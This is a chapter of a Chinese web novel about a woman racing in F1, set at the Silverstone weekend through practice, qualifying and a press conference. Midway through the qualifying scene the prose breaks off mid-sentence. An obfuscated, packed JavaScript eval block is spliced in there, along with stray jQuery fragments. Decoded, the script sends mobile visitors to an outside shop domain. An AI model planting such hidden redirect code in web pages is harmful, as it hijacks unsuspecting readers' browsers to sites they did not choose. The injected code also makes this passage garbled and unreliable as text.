文趣网 > 都市小说 > 《开F1的女孩》 > 20. 我欲成冰再也无退路(3)
    夏休期像一道漫长的休止符,车手们可以暂时放下紧绷的神经,把体能师的嘱咐甩在脑后,大块朵颐各种高热量食物,然后在摩纳哥这种度假胜地的海滩边享受灿烂的夏日风情。

    但对林朝来说,这一个月,她注定闲不下来。

    威廉姆斯工厂的模拟器几乎成了她的第二住处。艾伦·维克斯后来对同事说,他从来没见过哪个车手能在夏休期保持这样的训练强度——每天至少四个小时的模拟器时间,外加两小时的体能训练,一周六天,雷打不动。

    八月下旬,围场重新开门迎客。赛历翻过比利时斯帕那条绿色地狱,来到了英格兰北安普敦郡的银石。

    银石赛道不是一条普通的赛道。

    它是F1的出生证明。

    一九五〇年五月十三日,全世界第一场世界一级方程式锦标赛就在这里举行。那时候的银石还保留着二战军用机场的痕迹——宽阔的跑道、平坦的地势、以及那个至今仍在使用的前机库直道。六十年过去了,F1早已从欧洲走向全球,但银石仍然是F1的精神故乡,是所有车手心中那座必须朝圣的殿堂。

    赛道的布局在三年前刚刚经历过一次大改。全长从五点一四公里延伸至五点九零一公里,弯道从十二个增加到十八个,其中最引人注目的变化是从Abbey弯开始——原本的左转改成了右转,新增了一段名为Wellington直道的长直路,让赛道的平均时速大幅提升。

    现在的银石是一条高速赛道。长直道、高速弯、快速的方向变化,对赛车的空气动力学效率和引擎动力提出了双重考验。车手们普遍采用中低下压力的调校,在直道尾速和弯道抓地力之间寻找平衡。

    周四下午,银石围场。

    林朝从车队的大巴上下来,第一脚踩在柏油路面上,快门声就像暴雨一样砸了下来。

    她已经不是第一次面对媒体了。在F2的时候,每次站上领奖台,都会有一群记者围上来问那些千篇一律的问题——“作为女车手感觉如何?”“你觉得女性能在F1立足吗?”“你有没有遇到过性别歧视?”

    但今天不一样。

    今天是F1。围场里站着的不是那些跑低级别赛事的体育记者,而是来自全世界最顶尖媒体的F1专项记者。他们的问题更刁钻,他们的目光更锐利,他们的笔——或者说键盘——能在一夜之间把一个车手捧上天堂,也能在下一秒把人踩进泥土。

    林朝穿着一件深蓝色的威廉姆斯Polo衫,头发扎成一条低马尾,脸上没有表情。她的步伐不快不慢,目光直视前方,没有看向任何人。

    走在最前面的是苏茜·沃尔夫。

    她穿着一件白色的威廉姆斯外套,金发在午后的阳光下泛着柔和的光泽。她的脸上挂着标准的职业微笑,但眼神是冷而锐利的。

    “让一下,”苏茜的声音不大,但每个字都带着不容置疑的分量,“让车手通过。”

    记者们像潮水一样涌上来,又像被什么无形的手推开一样让出一条窄窄的路。问题从四面八方飞来——

    “林朝,你对尼尔森·皮奎特的言论怎么看?”

    “作为第一位参加F1大奖赛的华裔女车手,你有什么想说的?”

    “安德森·约翰逊说你的风格太激进,不适合F1,你怎么回应?”

    林朝没有回答。

    她的嘴唇紧抿着,下巴微微抬起,目光越过所有的话筒和录音笔,落在远处维修区入口上方那个巨大的银石赛道logo上。

    苏茜走在她前面半步,像一面移动的盾牌,挡住了大部分试图凑上来的记者。她的手轻轻搭在林朝的后背上,没有用力,只是在那里——像是在说:我在你身后,继续往前走。

    一场F1大奖赛周末的流程,可以精密到用分钟来计算。

    周四下午是媒体日。所有车手必须出席新闻发布会,接受记者提问。发布会分为两场——前五名车手一场,后五名一场,按车手积分榜排名划分。排名靠后的车手被分在第二场,通常情况下关注度较低,但今天是个例外,因为林朝的名字在那张名单上。

    周五是练习赛日。两场自由练习赛,每场九十分钟。车手利用这段时间熟悉赛道、测试调校、评估轮胎。对于新车手来说,这是唯一能在不受排位赛压力影响的情况下,真正“学习”一条赛道的机会。

    周六属于第三场练习赛和排位赛。排位赛下午两点开始,分三节——Q1、Q2、Q3。每节之间休息七分钟。

    Q1全长二十分钟,所有二十四台赛车都上赛道。成绩最慢的七台车被淘汰,排在发车区的第十七到第二十四位。

    Q1结束后,计时清零。休息七分钟。

    Q2全长十五分钟,剩下的十七台赛车继续争夺。成绩最慢的七台车再次被淘汰,排在发车区的第十到第十六位。

    Q3全长十分钟,剩下的十台赛车争夺前十名的发车顺序。这一节有一个特殊的规则——所有进入Q3的车手,必须用他们在Q3做出最快圈速的那套轮胎起步。这意味着车队不能在正赛前给车手换一套新胎,轮胎管理从排位赛就已经开始了。

    然后是周日的正赛。

    正赛的起跑时间是下午一点。五盏红灯依次亮起,熄灭的那一瞬间,二十四台赛车同时冲向一号弯。

    积分制度在三年前刚刚经历过改革。过去只有前八名才能拿到积分,现在扩大到了前十名——

    第一名二十五分,第二名十八分,第三名十五分,第四名十二分,第五名十分,第六名八分,第七名六分,第八名四分,第九名两分,第十名一分。

    比赛中禁止加油,只允许换胎。这意味着所有赛车在起跑时都必须携带足够跑完整场比赛的燃油——大约一百七十公斤,几乎是去年油箱容量的两倍。赛车的重量因此大幅增加,轮胎的磨损也更加剧烈。驾驶风格平顺的车手在这样的规则下会获得优势,而激进的驾驶方式则可能让轮胎提前报废。

    周五,银石。

    天气预报说会有雨,但早上的天空还勉强维持着一种阴沉沉的明亮。气温只有十六度,赛道温度勉强达到二十度——对于F1轮胎来说,这个温度太低了。

    第一次自由练习赛,林朝的任务很简单:熟悉赛道。

    这不是她在模拟器里跑过的那条银石。新布局改变了太多东西,她必须用真车的轮胎去感受每一个弯道的沥青起伏、每一处路肩的高度变化、每一条刹车痕迹的深浅。

    她跑了二十三圈,最快圈速一分三十五秒四。比队友皮埃尔慢了零点七秒,但比车队预期的快了零点三秒。

    “还行,”艾伦在无线电里说,“下午继续。”

    第二次自由练习赛开始前,天空终于撑不住了。

    雨不大,是那种英格兰特有的、细细密密的毛毛雨,落在皮肤上像是一层薄薄的冰霜。赛道半干半湿,是最棘手的情况——用干胎会滑,用雨胎会过热,选哪一套都是赌博。

    车组在P房里开了一个短暂的会议。气象雷达显示雨势不会在短期内加大,但也不会停。

    “雨地调校,”艾伦说,“悬架稍微软一点,下压力加大两档,刹车比前移百分之五。”

    皮埃尔的车组同样选择了雨地调教。经过第一场练习赛后,一种不声不响的竞争气味已经弥漫在了两人各自的车组间。

    技师们立刻开始动手。有人调整前翼的角度,有人用扳手拧紧悬架的螺丝,有人蹲在赛车旁边给轮胎加热毯更换温度设定。

    林朝站在一旁,双手插在工装裤的口袋里,看着那台深蓝色的FW39被一点一点地改造成一台雨战机器。

    第二次练习赛,她在湿滑的赛道上跑了三十一圈。最快圈速一分四十八秒七,比皮埃尔快了零点一秒。

    不算快,但稳。她没有犯错,没有打转,没有冲出赛道。在雨中,这本身就是一种胜利。

    周六,排位赛日。

    银石的天空比昨天更暗了,但雨停了。赛道表面还是湿的,有些地方已经干了,有些地方还泛着水光。

    Q1开始前十分钟,P房里弥漫着一种紧绷的安静。

    林朝坐在休息区的椅子上,双腿伸直,双手交叠放在肚子上,闭目养神。

    “准备。”艾伦拍了拍她的肩膀。

    林朝睁开眼睛,站起来,活动了一下脖子,颈椎发出一声轻微的脆响。

    皮埃尔已经坐进了他的赛车。他是威廉姆斯的一号车手,林朝是二号车手,按理应当辅助皮埃尔。

    绿灯亮起。

    Q1开始。

    二十台赛车像决堤的洪水一样涌上赛道。林朝排在中间靠后的位置出站,前面是两辆印度力量,后面是皮埃尔。

    第一圈飞行圈,她在暖胎。轮胎温度不够,刹车温度不够,什么都还没到工作窗口。她让开了线路,让后面更快的车过去。

    第二圈,她开始推进。

    T1,入弯速度二百六十八公里每小时。刹车点比皮埃尔晚了几米,刹车压力平稳上升,没有锁死的迹象。T3-T5的高速连续弯,她比皮埃尔快零点二秒。T7到T9的低速技术弯,她更慢——慢了零点一秒,但她在弯中的线路更干净,出弯更早开油。

    第三圈,她做出了自己的第一个计时圈:一分三十九秒三。

    这个成绩不算快,但足以让她暂时排在第十三位。

    Q1还剩八分钟的时候,皮埃尔在T15打滑了。

    他救回来了,没有撞墙,但那一圈算是废了。他的工程师在无线电里喊他赶紧回P房换胎,但时间已经不够了。

    皮埃尔在Q1结束时排在第十七位——淘汰。

    林朝看了一眼计时屏,然后收回了目光。

    她不能分心。皮埃尔被淘汰是他的事,她现在要做的,是把自己的车留在Q2。

    最后一圈,她在T11到T14这一段跑出了一个完美的组合弯。方向盘的角度、油门的开度、刹车的力度——一切都恰到好处。那一圈的成绩是一分三十八秒七

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510175|202962||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,排在了第十三位。

    Q1结束。林朝晋级Q2。

    整个P房安静了一秒,然后是一阵压抑的欢呼。技师们互相拍了拍肩膀,老汤米哆哆嗦嗦地拿着自己的扳手。

    Q2,雨又下起来了。

    这次不是毛毛雨,是真正的雨。雨滴砸在维修区通道的砂石路面上,溅起一朵朵小小的水花。

    赛道瞬间变成了镜子。

    林朝换上了半雨胎。轮胎加热毯的温度设定调到了最低,胎压调到了最高——这是雨战的标准配置。

    Q2只有十五分钟。

    她只做了两个飞行圈。第一圈熟悉湿滑的赛道条件,第二圈全力推进。

    第二圈,她在T6稍微推了一点头,前轮滑了一下,损失了零点一秒。但她没有慌,在接下来的T8到T10段把时间找了回来。

    最终成绩:一分五十一秒二。

    排在第十四位。

    没有晋级Q3,但击败了皮埃尔——这是她在F1的排位赛首秀中,交出的成绩单。

    下午四点,新闻发布厅。

    银石的新闻发布厅不大,但今天挤满了人。长桌后面坐着六个车手——杆位得主、迈凯伦的一年级生亚瑟·卡文迪许坐在正中间,左边是红牛初代皇帝、奥地利人马克西米安·维特尔,右边是法拉利的西班牙车手菲利普·戈莫——马克西米安今年的争冠对手。林朝坐在最边上,是六个人里唯一一个不在前十名的,她能来这儿,得益于她新秀的身份。

    前面的几个问题都是给亚瑟的。杆位得主总是焦点,记者们问他轮胎策略、问他正赛目标、问他有没有信心在家门口夺冠。亚瑟回答得很得体,不卑不亢,既有英国人的礼貌,也有杆位车手的骄傲。

    然后,焦点理所当然地转向了林朝。

    “Lin,”一个穿着灰色西装的中年记者举起手,“你今天在排位赛中击败了你的队友皮埃尔。你对此有什么感想?”

    “我跑得比他快。”

    全场安静了一秒。

    另一个记者接过话头:“尼尔森·皮奎特之前说你没有能力驾驶F1赛车。今天的结果是否证明他错了?”

    “是的。”

    “那你觉得你能在正赛中拿到积分吗?”

    “我会尽力。”

    每一个回答都很短,短到记者们几乎没法从中提取任何有价值的信息。有人在下面低声抱怨——“这女孩太难采访了”“她是不是在故意躲问题”。

    然后,第三个记者站起来了。

    那是一个英国记者,大概四十多岁,头发梳得一丝不苟,穿着一件深蓝色的西装外套。他举起手,没有等主持人点名就直接开口了——

    “Lin,我想问一个比较私人的问题。”

    林朝看着他。

    “F1赛车对体能有很高的要求。女车手在生理期的时候,体能和专注力都会受到影响。你打算怎么处理这个问题?”

    话音刚落,整个发布厅安静了。

    这是个讽刺、尖锐、性别歧视意味满满的话题,连瞎子都能看出来。

    林朝冷冷地看着他,一言不发。

    她不屑于回答这种问题。

    空气凝固了。主持人张了张嘴,正准备打圆场——

    “下一个问题。”

    说话的不是林朝,是坐在左边的那个人。

    马克西米安把面前的话筒往自己面前拉了拉,重复了一遍:“下一个问题。”

    他的声音不大,语气也很平静,但那几个字里带着一种不容置疑的权威。他是两届世界冠军,他是今年的争冠车手,他是红牛的皇帝、围场的统治者。他说下一个问题,就是下一个问题。

    那个英国记者的脸色变了一下,嘴唇动了动,但最终什么都没说,坐下了。

    马克西米安没有看他。他转头看了一眼坐在最边上的林朝,然后收回目光,对着台下说:“如果你们没有正经问题要问,我可以替你们问。”

    台下的记者们面面相觑。

    “我想问的是,”他说,语气像是在说一件再平常不过的事情,“作为一个新秀车手,你在排位赛中击败了自己的队友。这是你赛前预料到的吗?”

    林朝沉默了两秒。

    “我预料到我会比他快,”她说,“但我没想到他会输在Q1。”

    这句话像一颗小小的炸弹,在发布厅里炸开了。有人笑了,有人倒吸了一口凉气,有人在笔记本上飞快地记着什么。

    马克西米安也笑了。看的出来,他真的觉得林朝挺有意思。

    “祝你好运,”他说。

    “谢谢,”林朝说。

    发布会结束后,记者们涌向马克西米安,把他团团围住。林朝从侧门离开了发布厅,没有人追上来。

    苏茜在走廊里等她。

    “干得好,”苏茜说,没有多问。

    林朝点了点头。

    两个女人并肩走在银石赛道阴暗的走廊里,谁都没有说话。